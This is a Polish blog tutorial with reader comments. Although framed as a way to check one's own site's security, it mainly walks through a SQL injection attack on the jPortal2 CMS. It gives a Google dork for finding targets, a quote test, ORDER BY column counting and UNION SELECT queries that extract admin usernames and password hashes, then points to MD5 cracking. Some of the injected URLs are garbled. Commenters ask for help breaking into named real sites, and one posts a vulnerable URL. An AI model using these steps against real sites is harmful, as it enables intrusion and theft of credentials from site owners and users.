czwartek, 25 lutego 2010

Jak włamać się na stronę www ? Atak SQL Injection w praktyce ! Czyli poznaj tajniki obrony przed sql injection - obrona sql injection ! Włam na www - dostęp do panelu admina !

Atak SQL Injection - w praktyce ! 
Sposoby zabezpieczeń przed atakiem sql. Sprawdzamy podatność strony na atak i ukazujemy słabość skryptu.

 flickr, ardenswayoflife
 Zastanawiałem się czy napisać ten artykuł czy nie napisać ;) Zdecydowałem się go napisać - zresztą w internecie o tego typu rzeczach jest bardzo dużo. Chciałbym tutaj przedstawić sposób na sprawdzenie czy nasza - podkreślam nasza - strona internetowa jest dobrze zabezpieczona. Posłużymy się tutaj tzw. atakiem "sql injection". Ale wszystko po kolei - będzie to prosty tutorial - nie będę się wgłębiał w szczegóły - ale myślę, że wszystko zrozumiesz. Pamiętaj, że materiały tutaj dostępne są wyłącznie w celach edukacyjnych (zgodnych z prawem) ! Możesz sprawdzić ich działanie wyłącznie na własnej stronie - w ten sposób poznasz mechanizm działania tego ataku i ewentualnie ustrzeżesz się przed nim.

1. Coś na początek :

jak sami zobaczycie - atak sql injection jest bardzo niebezpieczny a w internecie aż roi się od słabo zabezpieczonych stron ! Są to nie tylko prywatne strony, ale co gorsza zdarzają się że są to ważne urzędy państwowe. Dobrze gdy znajdzie się ktoś kto powiadomi o słabym zabezpieczeniu strony - ale gorzej gdy ktoś to wykorzysta np. wykradając hasła użytkowników lub co gorsza jakieś konta bankowe itp...

2. Czym jest Sql Injection :

Posłużę się tutaj trochę wikipedią - chodzi mniej więcej o to, że część stron jest słabo filtrowana. Dzięki temu możemy o niej wstrzyknąć jakiś kod (*zapytanie), który zostanie przez skrypt serwera(*bazę danych) zrealizowany. 
Dla przykładu (dla tych którzy znają trochę zasad z logiki):
- przypomnę, że w logice - zdania logiczne przyjmują wartości (tak jak w informatyce system 2-owy) zera oraz 1 
Czyli mając np. w bazie coś takiego  (logowanie) :
Nazwa użytkownika =' ... '   - gdzie w miejsce wykropkowane normalnie wpisujemy login/hasło
Nazwa użytkownika='admin' - możemy tak wpisać, ale nie wiemy czy taki użytkownik istnieje, możemy się posłużyć zapytaniem "or" - gdzie w przypadku gdy jedno zdanie jest prawdziwe, to całe zapytanie jest prawdziwe np.
Nazwa użytkownika='admin' or '1'='1' - zdanie/zapytanie to będzie zawsze prawdziwe, wiemy że or oznacza "lub" - a zdanie 1=1 jest na 100% prawdziwe. Podobnie można zrobić z hasłem dzięki temu zalogujemy się np. na konto admina :)

Wygląda to mniej więcej tak : http://pl.wikipedia.org/wiki/SQL_injection

2. Do rzeczy - jak to wygląda w praktyce :

Nikt nie lubi czytać długich teorii więc przejdę do rzeczy - będzie to przykład błędu dla cms'a jportal2 .
W jportalu2 znaleziono lukę w skrypcie do pisania artykułów, więc nasz kod będziemy właśnie w tych miejscach wstrzykiwać.
Znajdujemy więc nasz cel wpisując np.w google zapytanie (*oczywiście musi to być nasza strona)
+"jportal2" +inurl:"articles.php?topic="
Wchodzimy na tą stronę i widzimy mniej więcej taki link :
www.nazwa.pl/articles.php?topic=1
Teraz aby sprawdzić czy nasza strona jest słabo filtrowana a tym samym podatna na sql injection - dodajemy średnik na końcu linku w przeglądarce a więc :
  www.nazwa.pl/articles.php?topic=1'

Jeżeli pojawi się komunikat w stylu : "Warning mysql_fetch_array...." - to znaczy, że strona jest podatna na atak(*mamy duże prawdopodobieństwo udanego ataku). 

Teraz czas na zapytanie " order by " aby sprawdzić ile tabel liczy baza :
Aby nam było lepiej dostrzec różnicę pomiędzy zmianami na stronie (pojawią się małe cyferki), to w miejsce "topic= " - wpiszemy w linku nie istniejący artykuł np.
www.nazwa.pl/articles.php?topic=-1
lub
www.nazwa.pl/articles.php?topic=-9999999 

Teraz piszemy zapytanie order by :
www.nazwa.pl/articles.php?topic=-1+order+by+1--
Jeżeli nie ma błędu to podnosimy liczbę :
www.nazwa.pl/articles.php?topic=-1+order+by+2--
Nadal nic....
www.nazwa.pl/articles.php?topic=-1+order+by+6--
Błąd !! A więc tabel jest mniej niż 6 - sprawdźmy dla pięciu :
www.nazwa.pl/articles.php?topic=-1+order+by+5--
Bingo :) W jportalu2 przeważnie mamy 5 tabel :) Nie ma błędu ! 

Teraz sprawdzimy do jakiej kolumny możemy się wstrzelić. Będą się tutaj pojawiać takie małe cyferki - warto ich szukać ! Są to takie małe pojedyńcze cyferki np. 2 albo 4 itp...
A więc wpisujemy jako link w oknie przeglądarki polecenie "union select" :
www.nazwa.pl/articles.php?topic=-1+union+select+1,2,3,4,5--
Szukamy samotnej cyferki i w zależności od tego co nam wyskoczy - wstrzykujemy się w tą kolumnę np.
- gdy pojawiła się 3
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,zapytanie,4,5--
- gdy pojawiła się 4
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,3,zapytanie,5--
- gdy mamy 1
www.nazwa.pl/articles.php?topic=-1+order+by+zapytanie,2,3,4,5--
Teraz jeżeli chcemy poznać np. hasła i nazwy użytkowników wpisujemy takie zapytanie (dla przykładu gdy pojawiła się 3) :
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,nick,4,5+from+admins--
oraz
www.nazwa.pl/articles.php?topic=-1+order+by+1,2,pass,4,5+from+admins--
Pierwszy link wyciąga z bazy danych z tabeli admins kolumnę z użytkownikami. W wyniku dostaniemy nazwy użytkowników. 
Drugi link wyciąga hasła z tej samej tabeli jak wyżej. 

Wpisałem tutaj nick,pass oraz +from+admins - co to jest i skąd się to wzięło ?
Nick oraz Pass są to nazwy kolumn - przeważnie gdy chodzi o logowanie użytkowników to w bazie danych hasła są zapisane w nazwie kolumny "pass" a nicki w nazwie "nick". 
Oczywiście może tam być np. password oraz nicks czy też haslo oraz loginy !
Na tym etapie(*twojej wiedzy z tego zakresu) to metoda prób i błędów co się powiedzie :) Ale w przypadku jportal2 standardowo jest tak jak napisałem wyżej. 
Stąd pewnie już wiesz skąd wytrzasnąłem +from+admins - to jest nazwa skąd będziemy wyciągać nasze dane (+z+nazwa) - from (skąd)+(nazwa) - w tym przypadku admins. 

Istnieje także metoda sprawdzania jakie są inne nazwy tabel itp.. oraz metoda wyciągania loginów i haseł za pierwszym razem w jednym zapytaniu - ale o tym może innym razem :)

Hasła będą przeważnie zakodowane (ale nie zawsze) w kodzie md5, musimy je odkodować w google łatwo znaleźć takie rzeczy :) NP. http://www.md5decrypter.com/ , albo wystarczy wpisać ten hash.

Co zrobić aby się zabezpieczyć przed atakiem sql injection (*jportal2):

Trzeba mieć aktualne wersje skryptu - dlatego są różnego rodzaju poprawki i wychodzą nowe wersje. W przypadku jportal2 warto wejść na http://jportal2.pl/articles.php , gdzie pisze co i jak trzeba wykonać aby się zabezpieczyć. Polecam także http://jportal2.pl/articles.php?id=2. Warto poprawić filtrowanie strony aby proste zapytania typu 1=1 nie przechodziły :) 
 
Dla tych którzy będą chcieli się trochę pobawić w sql injection - http://www.sqltest.uw-host.org/ oraz http://www.kacperg333.eu/ - są to strony z zadaniami z wykorzystaniem błędu sql injection !


15 komentarze:

Anonimowy pisze...

no spoko ale jak przepowadzić atak na stronę NP www.ps-dm.pl/ ? jest ona na hostingu boo.pl i jest w php ale jak wpisuje obojętnie który z kodów to brak reakcji lub nic się nie zmienia zaprezentujesz to jakoś?

Przemo pisze...

Nie ma gotowych rozwiązań ! Tutaj nie chodzi o atak, ale o obronę. Sprawdzamy czy strona jest podatna na sql injection poprzez kilka zapytań - gdy wiemy że jest podatna to trzeba zmodyfikować nieco jej kod aby się przed tym zabezpieczyć.
Ponadto nie łamiemy zabezpieczeń cudzych stron - żadnych prezentacji nie będzie.

Anonimowy pisze...

wielkie 0 dla tego typa!

Anonimowy pisze...

Spoko tylko nie kumam za duzo :P

Przemo pisze...

Postaram się, napisać lepszy artykuł - nie są to jednak proste sprawy ;)

Anonimowy pisze...

Jak włamac się na konto na www.gry.pl ??

Anonimowy pisze...

założyłem się z nauczycielem od UTK że uda mi się włamać na jego stronę i sprawić żeby nie działała :D Panowie pomoże ktoś ? chodzi to o ocenę celującą na semestr pilne !! Mówię całkiem poważnie :-)

Anonimowy pisze...

koluniu chce zaimponować a tylko wkurw człowieka

Anonimowy pisze...

a np. na howrse
jak zrobić ?

Anonimowy pisze...

kurna ale wy tępi jesteście :/ Przemo ten artykuł napisał po to by ktoś tacy jak my mogli sobie zabezpieczyć stronę, a Wy chcecie przeprowadzać ataki na strony typu gry.pl nie znając podstaw html'a a tym bardziej php! żeby taki atak wykonać trzeba mieć trochę 'sieczki' w głowie. jeden z użytkowników wyżej napisał "...wpisuje obojętnie który z kodów to brak reakcji..." a co Ty kolego myślisz że Ci wyskoczy info "błędna składnia polecenia błąd w linii 428" ? śmieszne :D jak nie znacie podstaw to się za to nie bierzcie to taka rada ode mnie :) a artykuł świetny, przejrzysty i zrozumiały. Lepszego w internecie nie znalazłem ;d 10/10 ;-)


Pozdrawiam, Rosso (czyli. Mateusz;d)

Anonimowy pisze...

no to imetin.pl powoli pada, dzięki panowie za pomoc w prostej sprawie.

Anonimowy pisze...

mam do ciebie pytanie bo znalazłem strone podatna na atak i wszystko jest ok aż do momentu wyświetlania loginów i haseł strona:
http://www.gim3.eu/articles.php?topic=4

Anonimowy pisze...

A ja chce włamać się na konto GWO na strefę nauczyciela i jak mam to zrobić skoro nic z tego czegoś nie rozumiem ? Bardzo bym chciała tam nie ma nic szczególnego ale bardzo bym chciałaaa zobaczyć jak to wygląda ! Pomooocyyyyy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Anonimowy pisze...

jebnij sie w leb

Anonimowy pisze...

Jezu nie uda wam się włamać na tak znane strony jak np. gry.pl , chyba że jesteście mega hackerami, ale wtedy sami powinniscie potrafic taki atak przeprowadzic, a nie czytac poradnika -.-

Prześlij komentarz